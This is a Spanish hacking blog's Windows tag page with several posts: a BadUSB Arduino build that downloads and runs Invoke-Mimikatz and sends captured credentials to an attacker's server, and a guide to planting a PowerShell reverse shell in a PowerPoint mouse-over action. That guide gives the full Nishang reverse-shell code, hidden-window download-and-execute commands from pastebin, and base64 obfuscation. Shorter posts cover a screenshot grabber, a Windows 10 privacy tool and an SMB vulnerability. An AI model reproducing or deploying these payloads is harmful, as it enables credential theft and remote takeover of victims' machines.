Mostrando entradas con la etiqueta Windows. Mostrar todas las entradas
Mostrando entradas con la etiqueta Windows. Mostrar todas las entradas

Mr.Robot también en Arduino

Buenas amigos, soy Fare9, y hoy traigo un post sobre hacking en Windows con hardware algo específico, así que allá vamos.

Hace ya tiempo, en Mr.Robot apareció un pequeño aparatito conocido como Rubber Ducky, del cual ya se ha hablado en este blog (Rubber Ducky). Con este aparatito, se pensó el la ejecución de comandos a través de teclado.
Esto es posible debido a que bueno, como podréis encontrar en la web, se trata de un procesador de 32 bits y 60 MHz que es capaz de funcionar como un HID (Human Interface Device) más en concreto como un teclado, y a través de un sencillo lenguaje de scripting y un encoder a binario nos permite escribir a través del USB como si se tratara de un simple teclado. Y luego blah,blah,blah...

Esto está muy bien, pero ¿qué problema hay?, y ¿por qué todo este rollo Fare9?....

Preguntas muy acertadas, como sabéis Fare9 os quiere mucho y siempre piensa en vosotros, este cacharrito vendido por Hak5 cuesta la friolera de 45$, más gastos de envío (si no vives en USA), más aduanas (si no vives en EEUU).
Entonces no quiero que haya que dejarse el bolsillo en esto, y tras una charla en una Hack and Beers vi unos arduinos leonardo de un tamaño muy reducido:
Véis como los USBs de toda la vida, chiquitito y transportable... EMMMM NO, esa no era la imagen (estúpido Fare9...), aquí lo tenéis:
Aha, esto ya parece otra cosa, y bueno aquí tenéis el mio:

Esto, lo podéis comprar en el Aliexpress pues por unos 9€ con gastos de envío incluídos: BadUSB
Recibe el nombre de Badusb, pero como podéis ver su nombre científico es: BadUsb Escarabajo Mala Junta de Desarrollo ATMEGA32U4 USB teclado virtual Para Arduino (traducción directa del chino mandarín)
Estos cacharros tienen igual un procesador ATMEGA el cual les permite funcionar como un teclado, gracias a una librería de arduíno conocida como Keyboard (como vemos no se rompieron mucho la cabeza).
Además tenéis un IDE muy bonito, se puede descargar desde la página oficial de arduíno: https://www.arduino.cc/en/main/software

Bien, ahora vamos a explicar qué haremos así de juaquin de ese que hacen los juankers.

Haremos que al insertar el usb, se habrá una CMD con permisos de administrador (¿¿¿quién usa en windows una cuenta que no tenga la posibilidad de esos permisos???), seguidamente, ejecutaremos una serie de comandos de Powershell, que permitirán la descarga de un código y su ejecución directa.

El código a descargar será el siguiente: https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1 . Este código  pertenece al framework de pentesting y post explotación Powersploit, y se encarga de inyectar directamente en la memoria de un proceso de ejecución, un programita conocido como Mimikatz, este programa es capaz de obtener directamente desde la RAM las credenciales del usuario, por tanto, es un punto muy fuerte para aquellos que se dedicen al tema del pentesting.

Tras obtener esos datos, se enviarán a un servidor que vamos a montar con python y una librería conocida como Flask.

De momento vamos arrancando el IDE de arduino y veamos que es cada cosilla:

################ ACTUALIZACIÓN
He subido al github una librería Keyboard modificada https://github.com/Fare9/MR_Robot_mimikatz/tree/master/Keyboard
Esta librería nos vale para  tener layouts de teclado de diferentes países, tenéis que descargar la carpeta Keyboard y reemplazar dentro de Arduino/libraries la actual librería Keyboard (siempre hacer backup por si acaso). Tras hacer esto, reiniciar el Arduino IDE.
Se ha modificado  también el código de MR_ROBOT (https://github.com/Fare9/MR_Robot_mimikatz/blob/master/MR_ROBOT/MR_ROBOT.ino) pero no son grandes cambios, simplemente se ha añadido la utilidad para usar otro layout de teclado.
##################################

1. Lo primero que vamos a ver es el código principal y luego iremos desmenuzando linea por linea y método por método:




En arduino, siempre tenemos dos métodos principales setup y loop , dentro del primero será donde daremos valor a las variables, o estableceremos los pines de arduíno (en este caso no es necesario esta parte), y lo que haremos aquí será inicializar la librería Keyboard para poder utilizarla.El segundo método es el que se ejecuta continuamente en un arduino normal, en este caso utilizamos una variable para evitar que sea un bucle, lo primero que realiza la función loop es una espera de 2000, en arduino indicas esperas en milisegundos, por ejemplo, para esperar que se produzcan ciertos eventos, o que algunos eventos no se modifiquen durante un cierto tiempo. En este caso esperamos a que el ordenador reconozca el usb como un teclado. Después comprobamos si el código ya se ha ejecutado, y si no, pues ejecutamos una serie de funciones: openCMDAsAdmin, whatsNewMimikatz y limpia. Finalmente establecemos ejecutado a 1 para que no se vuelva a ejecutar.
Vamos a ir viendo estas funciones:
2.  openCMDAsAdmin(), esta función se encarga de abrir la CMD de windows como administrador, además se encarga de ofuscarla para evitar que sea reconocible los comandos:
Vamos a ver poquito a poquito qué dice aquí cada cosa, bien la primera línea, se encarga de apretar la tecla conocida como TECLA WINDOWS, y dejarla presionada, tras esto, pulsa la tecla 'R', y finalmente las libera las dos, esto abrirá una cajita como esta:
tras esto, se realiza una espera de medio segundo para dejar aparecer la caja, después utilizamos una función propia llamada "printa", la cual se encarga de modificar el layout del teclado a EN en lugar de ES, ya que la librería de Keyboard utiliza un layout de teclado Americano, luego escribe lo que le hemos pasado como variable, y reestablece el layout:
Tras apretar esto, nos pedirá la confirmación de abrir la consola como administrador:

Como vemos, no podemos coger el ratón y darle a "Si", sino que usaremos el atajo de teclado ALT+S, que es lo que mostramos en la línea 7 y 8 de la función. Tras obtener una shell como administrador, ofuscamos utilizando la siguiente función:


Esto dejará una SHELL como esta:
Como vemos esta shell es más complicado ver que se está escribiendo, pero como a la shell le da igual, pues continuamos.

3. whatsNewMimikatz(): esta función es la encargada de la descarga que antes hablamos, la ejecución y el envío de datos a un server:
Esto de powershell, nos realiza la descarga y ejecución del Invoke-Mimikatz.ps1, tras esto se realiza la subida a un servidor el cual luego veremos el código. Como véis donde pone URL_SERVER, tenéis que poner la URL de vuestro servidor, no seais cazurros...

4. limpia(), esta función es la encargada de limpiar un poco el rastro que hemos dejado en la máquina, lo que haremos será borrar el rastro de que hemos realizado la ejecución de cualquier programa:

Hasta aquí todo el código de Arduino, en imágenes (muajajajaja), pero tranquilos, como sé que también os mola el copy-paste más que el cesped a las vacas, en mi github tenéis el código completo: https://github.com/Fare9/MR_Robot_mimikatz/blob/master/MR_ROBOT/MR_ROBOT.ino

Ahora veremos el servidor que vamos a montar, este nos cabe entero en la fotito:
 Esto que podéis ver es un server completo, que responde a peticiones POST y GET en la ruta / (root) del servidor, en verdad la petición GET no vale para nada, pero así veis un poquito más, este servidor se encarga de procesar las peticiones que enviaría el powershell, para finalmente guardar lo enviado en un archivo.  (Código también en github)
La ejecución es sencilla, simplemente:
Vamos a poner en el script, la ip de la máquina kali, en mi caso la 10.0.2.10. Compilamos y metemos en el pincho, recordar una cosa en el arduino IDE:
En Herramientas, establecer placa: "Arduino Leonardo" y en puerto aquel donde esté el arduino.
Vamos a ejecutar y ver que pasa en la máquina kali:
Como vemos, hemos obtenido ciertos datos por el método POST, y estos corresponden a los datos del PC y finalmente a la contraseña en claro y sus hashes, mimikatz ha conseguido obtener las contraseñas en claro y ejecutarse en pocos segundos sin mayor interacción que enchufar un pendrive en un PC.




Hasta aquí este rápido post en referencia a MR.Robot, desde una perspectiva bastante de mileurista, ya sabéis que cualquier duda me podéis escribir a mi twitter: Fare9

Antes de finalizar, recordaros que nuestro compañero del blog Óscar aka Elvis, subió hace poco una máquina de CTF basada en juego de tronos, yo estoy ahora con ella actualmente y la verdad que resulta bastante entretenida, aquí el enlace: https://github.com/OscarAkaElvis/game-of-thrones-hacking-ctf
A jugar, jugar y divertirse!!!!!!

Idea original del post: https://www.hak5.org/blog/15-second-password-hack-mr-robot-style
Código arduino y Python autor: Fare9 


Meterpreteando un PowerPoint

Holaaaaaa amigos, hace bien poco, estuve leyendo una noticia en "The Hacker News", sobre un malware que se repartía a través de un powerpoint (http://thehackernews.com/2017/06/microsoft-powerpoint-malware.html).
La noticia dice algo así como que los atacantes, pueden hacer que un usuario se descargue un malware sin ni si quiera clickar en nada. Razón lleva, pero también dice, que al usuario se le muestra un pop up, alertando sobre que power point quiere ejecutar blah,blah,blah...

Bien, hoy Fare9, os trae, como "Meterpretear", un power point... En realidad vamos a coger un netcat con powershell, y hacer que este se ejecute. Daremos las gracias a mi compañero Alberto, que me ha ayudado bastante con esto.

Lo primero que haremos será por supuesto, un pequeño ejemplo, en el cual simplemente mostraremos por pantalla, algo sencillo, para mostrar las capacidades.


Abriremos, por lo tanto un Power Point, totalmente vacío:


Ahora insertaremos una forma, que ocupe toda la pantalla y esté en blanco, para ello iremos a insertar -> Formas, y escogeremos el rectángulo:

Lo dicho cogemos la rectangular, y seleccionamos casi toda la diapositiva, así no hará falta que el usuario se dirija directamente a un objeto en concreto, sino que al mover el ratón por la pantalla un poco:
Bien, aquí la imagen de la forma en toda la diapositiva, la dejaré en azul para que se note mejor, pero se puede cambiar el color en "Relleno de forma". La cosa es ponerlo que no se note nada raro :) :) :) :)....


Ahora seguido, seleccionaremos con el ratón este objeto, iremos a "Insertar" en las pestañas de arriba, e iremos a "Acción"
A la derecha tenemos acción, al abrir tenemos algo como esto:
Iremos directos a "Pasar el mouse por encima", y seleccionaremos el radio button de "Ejecutar programa", seguido escribiremos en su respectiva caja lo siguiente:

powershell -c "echo Holaaaaa, artemaniacos; sleep 10"

Con esto cuando el usuario vea el powershell y permita la ejecución, le saldrá un powershell con un "hola artemaniacos" y dejaremos 10 segundos para que se pueda apreciar.

Vamos a ejecutar poniendo la diapositiva y a mover el ratón un poco por encima:

lo primero que veremos es esta alerta de seguridad:

Haremos de usuario "buen intencionado", y habilitaremos, si windows permite habilitar será por algo, entonces nos encontraremos con esto:

Como vemos, tenemos un powershell, con el texto introducido.

Ahora iremos un paso de gigante más allá, obtendremos un netcat en powershell, y haremos un reverse shell con una máquina kali, para que tenga el placer de conocer lo que es una powershell remota. Para ello usaremos la siguiente shell o "netcat" perteneciente al framework nishang.

Pero la tunearemos un poco, para ello cambiaremos todas las comillas dobles, por simples (por si usamos las dobles fuera), luego quitaremos todo espacio y quitaremos todos los comentarios, seguidamente a todas las sentencias, tendremos que ponerle ; para poder unirlas así a porrillo, quedará algo tal que así:

function Invoke-PowerShellTcp
{
    [CmdletBinding(DefaultParameterSetName='reverse')] Param(
        [Parameter(Position = 0, Mandatory = $true, ParameterSetName='reverse')]
        [Parameter(Position = 0, Mandatory = $false, ParameterSetName='bind')]
        [String]
        $IPAddress,
        [Parameter(Position = 1, Mandatory = $true, ParameterSetName='reverse')]
        [Parameter(Position = 1, Mandatory = $true, ParameterSetName='bind')]
        [Int]
        $Port,
        [Parameter(ParameterSetName='reverse')]
        [Switch]
        $Reverse,
        [Parameter(ParameterSetName='bind')]
        [Switch]
        $Bind
    )
    if ($Reverse)
    {
        $client = New-Object System.Net.Sockets.TCPClient($IPAddress,$Port);
    }
    if ($Bind)
    {
        $listener = [System.Net.Sockets.TcpListener]$Port;
        $listener.start();
        $client = $listener.AcceptTcpClient();
    }
    $stream = $client.GetStream();
    [byte[]]$bytes = 0..255|%{0};
    $sendbytes = ([text.encoding]::ASCII).GetBytes('Fare9 PowerShell running as user ' + $env:username + ' on ' + $env:computername + '`n');
    $stream.Write($sendbytes,0,$sendbytes.Length);
    $sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>');
    $stream.Write($sendbytes,0,$sendbytes.Length);
    while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
    {
        $EncodedText = New-Object -TypeName System.Text.ASCIIEncoding;
        $data = $EncodedText.GetString($bytes,0, $i); 
        $sendback = (Invoke-Expression -Command $data 2>&1 | Out-String );
        $sendback2  = $sendback + 'PS ' + (Get-Location).Path + '> ';
        $x = ($error[0] | Out-String);
        $error.clear();
        $sendback2 = $sendback2 + $x;
        $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
        $stream.Write($sendbyte,0,$sendbyte.Length);
        $stream.Flush(); 
    }
    $client.Close();
    $listener.Stop();
}

Bien, como veis, todas las sentencias tienen un ; al final para poder ponerlos a choclon, y no hay espacios en blanco, ya que ahora lo que habrá que hacer es ir linea a linea, quitar el salto de linea para dejarlo todo en la misma (no hagáis replace, que peta, tampoco es mucho). Al final (y para que no tengáis que hacer mucho) sale un chocloquen así de código:

function Invoke-PowerShellTcp {[CmdletBinding(DefaultParameterSetName='reverse')] Param([Parameter(Position = 0, Mandatory = $true, ParameterSetName='reverse')][Parameter(Position = 0, Mandatory = $false, ParameterSetName='bind')][String]$IPAddress,[Parameter(Position = 1, Mandatory = $true, ParameterSetName='reverse')][Parameter(Position = 1, Mandatory = $true, ParameterSetName='bind')][Int]$Port,[Parameter(ParameterSetName='reverse')][Switch]$Reverse,[Parameter(ParameterSetName='bind')][Switch]$Bind)if ($Reverse){$client = New-Object System.Net.Sockets.TCPClient($IPAddress,$Port);}if ($Bind){$listener = [System.Net.Sockets.TcpListener]$Port; $listener.start();$client = $listener.AcceptTcpClient();} $stream = $client.GetStream();[byte[]]$bytes = 0..255|%{0};$sendbytes = ([text.encoding]::ASCII).GetBytes('Fare9 PowerShell running as user ' + $env:username + ' on ' + $env:computername + '`n');$stream.Write($sendbytes,0,$sendbytes.Length);$sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>');$stream.Write($sendbytes,0,$sendbytes.Length);while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$EncodedText = New-Object -TypeName System.Text.ASCIIEncoding;$data = $EncodedText.GetString($bytes,0, $i);  $sendback = (Invoke-Expression -Command $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (Get-Location).Path + '> ';$x = ($error[0] | Out-String);$error.clear();$sendback2 = $sendback2 + $x;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush();  }$client.Close();$listener.Stop();}

Todo claro está, en la misma línea, ahora al final después de la segunda llave, vamos a poner esto:
Invoke-PowerShellTcp -Reverse -IPAddress 192.168.1.163 -Port 4444

Siendo la IPAddress, la de vuestra máquina Kali:

  
Metemos el ; después de la última llave, para que powershell lo tome como otro comando a ejecutar. 
Finalmente, y para no tener que dar ningún archivo junto con el power point, meteremos el "payload" en pastebin, así el cliente se lo descargará antes de ejecutarlo, y lo meteremos en un rico RAW:
 Payload

Finalmente, tendremos que poner el comando que ejecutará el cliente, el cual se meterá en el powerpoint. El comando será algo así:

powershell -windowstyle hidden -c " $data =  (New-Object System.Net.WebClient).DownloadString('https://pastebin.com/raw/DyAXZ0ac'); powershell -windowstyle hidden $data"

Con -windowstyle hidden, lo que hacemos es que la shell no esté constantemente en pantalla, desaparecerá:
  
Pues esto será lo que añadiremos en el powerpoint como acción.
  
 



Nos tocará en nuestra kali, poner un netcat a escuchar:


Ahora entonces queda ejecutar el powerpoint, y que el usuario caiga en nuestra trampa:


Bien, al arrancar y pasar el ratón, pues pasa lo mismo, la advertencia:
Como un buen usuario de windows, debemos habilitar claro está, si no, nos quedamos sin propiedades importantes de un archivo. Y al momento aparece durante un instante un powershell, el cual desaparece entre la bruma, y miramos en nuestra kali y mira que tenemos:

UOOOOOOOOOOOOOOOOOO una shell, desde un powerpoint, SIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII. Además es un powershell, mucho mejor que una CMD de esas cacas. UOOOOOOOOOOOOOOOOOOOO.

######################## ACTUALIZACIÓN

Podemos ir más allá, y para que no parezca tan coherente, podemos encodear el payload en base64, subirlo a pastebin igual, y ejecutarlo como antes.
Para encodear haremos lo siguiente, abrimos powershell y escribimos:
$data =  (New-Object System.Net.WebClient).DownloadString('https://pastebin.com/raw/DyAXZ0ac') # obtenemos el payload sin encodear
$Bytes = [System.Text.Encoding]::Unicode.GetBytes($data)
$EncodedText = [Convert]::ToBase64String($Bytes) # lo pasamos a base64
$EncodedText > encodeado.txt # lo metemos en un archivo
notepad encodeado.txt


Ahora tendremos algo así:
Ahora lo subimos a pastebin: https://pastebin.com/raw/ybxwvgAh

Y hacemos que el powerpoint ejecute lo siguiente:


powershell -windowstyle hidden -c " $data =  (New-Object System.Net.WebClient).DownloadString('https://pastebin.com/raw/ybxwvgAh'); powershell -windowstyle hidden -encodedcommand $data"

Tenemos que pasar por lo mismo de antes, por la advertencia y por la ejecución, pero aquí tenemos otra vez una shell con el payload encodeado:


Bueno más o menos os he enseñado como meter una powershell netcat dentro de un PowerPoint, tanto Power, tanto Power, y tanto obtener y obtener el Power, vamos a celebrarlo con una cancioncita: Gimme the power - Molotov

Nos veremos pronto en el siguiente de 0 a exploiting que estoy preparando, y por lo demás, ya sabéis donde podéis encontrarme.
Si te gustó el Post, compártelo y si quieres saber todas las chorradas que suelo decir sígueme en mi twitter: Fare9 Twitter.

Y como dije, agradecimientos a mi compañero Alberto, por ayudarme a llevar esto a la práctica y darme la idea de subirlo a un pastebin.

Un saludo a todos los aficionados a la informática y al hacking.

Para el Hacking... El Python (I)

Buenas hoy os voy a traer la primera de una serie de entradas con las que aprenderemos a usar python, un poquito, para el hacking.

Principalmente hablar del lenguaje, un lenguaje de scripting creado a finales de los 80, por Guido Van Rossum, y blah blah blah.... Para quien quiera saber la historia, aquí os dejo un enlace que os puede interesar: Historia Python .

Bueno verdad que me acabo de saltar toda la historia (SKIP,SKIP,SKIP) pero diremos de el lenguaje que es un lenguaje interpretado, no hace falta compilar, podemos ejecutar directamente el código fuente, pues en cada ejecución se leerá cada sentencia y se interpretará. Es un lenguaje bastante útil en hacking y nos permite a través de sus millones de librerías realizar cosas que en otros lenguajes nos llevarían cientos de lineas ( estoy intentando pasar un código python a C++ y .... MUERTE).

Las sentencias son sencillas y no harán falta escribir los ';' finales de la mayoría de lenguajes. Eso sí habrá que tener cuidado con las tabulaciones pues es muy importante, en vez de  "{ }" las llavecitas de siempre, deberemos tabular cada linea dentro de un if, un else, un for ...

Para los que quieran aprender toda la sintaxis básica aquí os dejo un enlace con un manual de muy pocas páginas: Link más seguro que encontré

Bien hoy vamos a ver un programita que bueno, te hacen un screenshot en la pantalla. Podeis preguntar ¿ Y para qué...? . Bueno yo os doy las herramientas, vosotros pensad su utilidad malig... Digo su utilidad útil para el ma... Bueno pensad como querais.

Este programa hará uso de funciones que el señor Windows, deja de alguna manera en nuestra mano para usar como queramos.
Empecemos con las librerías:


Bien las dos primeras librerias no son necesarias, pero pueden ser útiles. La primera nos dirá si el sistema operativo donde se está ejecutando el programa es Windows o Linux o Mac ... Y la segunda nos valdrá para dar un nombre aleatorio al archivo final (este archivo para mayor facilidad será en formato bitmap).
Seguido, si nos encontramos en la tesitura de estar ejecutando el programa en un sistema operativo Windows, importamos las siguientes librerías, son la versión Python de la api de windows para tratar el Graphic User Interface, Información de usuario, y todo lo relacionado con la api Win32.

Finalmente establecemos una variable con un nombre aleatorio.

Vamos con nuestra función más principal de todas.
He comentado bastante el código (casi linea por linea). Pero bueno un poco os diré que todas estas funciones las proporciona Windows principalmente para otros usos, el GetDesktopWindow() podría usarse para generar ventanas derivadas de la actual (en relación padre-hijo). Tomar las medidas de la pantalla, normalmente pues puede valer para ajustar videos o imagenes al mostrarlos en la pantalla. Y bueno otro montón de funciones que tendrán más utilidades que tomar una captura (algo que de primeras, tiene más uso que los "ilegales").


Finalmente nos queda un main donde poder ejecutarlo, o una función que ejecute esto, lea el archivo, lo borre y luego pase el flujo de datos por algún socket (aham, aham ...).


Bueno, ya vemos aquí lo que realizamos, si no es windows pues oye que la función devuelva que no es windows. Y en caso que si sea Windows, pues ejecutamos, abrimos el archivo, leemos y devolvemos todos esos bytes.


Hasta aquí el primer artículo de una serie de artículos que escribiré sobre Python aplicado al hacking.
Sean buenos, cualquier cosa ya saben: Fare9.

(idea original libro: Black Hat Python).

Disable Windows 10 Tracking

Hola a tod@s

El flamante Windows 10, sus nuevas características y mejoras, pero  que hay de la avalancha de comentarios negativos, estos no han cesado acusando al gigante de no respetar la privacidad de los usuarios, sin embrago desde Microsoft sostiene que esas opciones sólo están destinadas a mejorar la experiencia de los usuarios.


Como siempre suele pasar, nadie y me incluyo leemos las políticas de privacidad y acuerdos de servicio.  La recopilación de información que se suministra a Windows es bestial.

  • Sincronización de datos por defecto: Microsoft sincroniza la configuración y datos por defecto con sus servidores. Esto envuelve, al historial del navegador, la selección de favoritos, sitios donde introducir nombres de usuario y password, caché de aplicaciones e inclusive datos sobre el wifi en el que estamos conectados.
  • Cortana: Se trata de un buscador y obviamente al igual que Google, estamos constantemente haciéndole saber a Microsoft cuáles son nuestros intereses de búsqueda.
  • Publicidad ID: Ídem que Google, en función de tus búsquedas, por ejemplo, te llegará una publicidad personalizada.

Por ello 10se1ucgo ha desarrollado una herramienta gratuita bautizada por nombre DisableWinTracking su función es deshabilitar el seguimiento de Windows 10 y dejar de mandar información a Microsoft, o al menos eso afirma el creador.



Una vez descargada la aplicación, es sumamente sencilla de ejecutar, simplemente elegir las opciones a deshabilitar, (recomiendo todas) y pulsar el botón Get Privacy! A continuación reiniciar y listo.


Para más información y descargar la herramienta visitad el siguiente enlace:


No seáis malos. 

Nueva vulnerabilidad SMB afecta a todas las versiones de Windows

Hola a tod@s


Nuevo fallo al protocolo SMB (Server Message Block) que afecta a todas las versiones de Windows, esta vulnerabilidad ha sido clasificada como grave. Dicha vulnerabilidad permite que un atacante pueda robar las credenciales de servicios del usuario.

El error está relacionado con la forma en que Windows y otro software manejan algunas peticiones HTTP, y los investigadores dicen que afecta a una amplia gama de aplicaciones, incluyendo iTunes y Adobe Flash, algunos clientes de GitHub, Oracle y AVG Anti-virus. La vulnerabilidad, divulgada el lunes por los investigadores en Cylance, es una extensión de la investigación realizada por Aaron Spangler hace casi 20 años, conocida como “redirect to SMB”. Esta debilidad puede permitir a un atacante forzar a las víctimas para que se autentiquen mediante hijacking en un servidor controlado por el atacante, mediante ataques man-in-the-middle y luego enviarlos a servidores maliciosos SMB. Con lo que ello supone, robo de credenciales.

Microsoft todavía tiene que lanzar un parche para arreglar la redirección a la vulnerabilidad SMB. La solución más simple es bloquear el tráfico saliente de TCP 139 y 445 TCP en el firewall.

Microsoft no resolvió el problema reportado por Aaron Spangler en 1997. Esperamos que esta nueva investigación obligue a Microsoft a reconsiderare esta vulnerabilidad y deshabilite la autenticación con servidores SMB no confiables. 



No seáis malos.